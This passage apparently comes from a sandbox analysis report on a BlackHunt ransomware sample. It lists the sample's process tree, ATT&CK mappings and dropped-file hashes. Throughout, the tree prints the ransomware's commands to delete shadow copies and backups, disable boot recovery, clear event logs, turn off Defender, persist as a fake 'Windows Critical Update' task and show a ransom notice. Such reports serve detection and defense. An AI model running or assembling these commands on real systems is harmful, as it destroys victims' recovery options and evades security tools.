    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1668
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:2200
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1504
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:3560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2448
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2324
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe" /F
  2⤵
  PID:2956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:2900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2704
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:1352
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2928
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:3020
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2628
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2800
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2764
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2588
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:3964
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:1832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:2000
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:3908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:3144
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:4184
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:4232
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3400
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:4420
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:4060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:3504
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:868
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:4000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2204
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:3712
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:4024
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:4144
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:2588
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:4160
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2500
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2728
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2752
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2508
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:3148
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4152
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:2824
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2492
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:1524
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3128
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe"
  2⤵
  - Deletes itself
  PID:540
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:2060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:2692
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:4180
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:2716
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:4008
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:1148
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4208
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:3212
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:3928
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:2148
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:1916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:3184
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:4168
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:3792
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:4128

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
1⤵
- Modifies registry class
PID:3032

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
1⤵
- Modifies Windows Defender Real-time Protection settings
PID:2440

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
1⤵
PID:1640

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
1⤵
PID:2772

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
1⤵
PID:2096

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
1⤵
PID:2308

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Interacts with shadow copies
PID:1996

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
1⤵
PID:2852

C:\Windows\system32\schtasks.exe
schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
1⤵
PID:2660

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} recoveryenabled No
1⤵
- Modifies boot configuration data using bcdedit
PID:488

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
1⤵
PID:1560

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
1⤵
- Modifies boot configuration data using bcdedit
PID:3532

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3512

C:\Windows\system32\schtasks.exe
SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe" /F
1⤵
- Creates scheduled task(s)
PID:3284

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
1⤵
PID:2320

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3960

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
1⤵
PID:2812

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
1⤵
PID:1532

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
1⤵
PID:2000

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
1⤵
PID:2152

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "3001264481592544227666016241502539485-20873572824247307631600541942-26967239"
1⤵
PID:2660

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:1464

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:2548

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
2b90ed51bc6ad4e8e863e35a1534b48f

SHA1
cc23b19a0349eda13fc25df32e324893a6c9bdec

SHA256
c2dc1242c670b1d5161274cff4601d9dcff02e96df6b4e09246143c830cce016

SHA512
d53f8ae167e15aadca8e58eefce1537cbaea60a4c800ddf73be7f1363bf8589c58643465079c620aeda9774d9cdb866a46e03f7683669db55bdb9c574248b1da

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
e13dd6522d2a81a16a22bc6bd53f1250

SHA1
c96d49f101b4656f8a3e4d63edf77f52da788b21

SHA256
7205a57c5ff31fd17c0685fd075a1bc4b746e48b64b4fb6bf770e43e5724575f

SHA512
3de6b1f61dd7060c2618a31061da93397defe8fbb660eeef6e17144f5a202f87781b83323c48adfdeacee52a3e273a0486b63de4531d13ddc2176501e0cd4d6b

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
4bed8ff62e0c0fcc32543baa9be94305

SHA1
4084a9da0892da97bb5d1ac87edc7b97524fbbd2

SHA256
b83f2f3e0ade31a363bed62a21d3e5bbc6b0d9b0e9520734125c08730dccc062

SHA512
823bcc8d4bcc89e40831326d4371a8c8d59cd8b8791f90a8b1073069579a0e5bd391a3c56be967d87d9413763b5d292d5e4cd63bd9c4abb1eb68a120eaaa979e

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads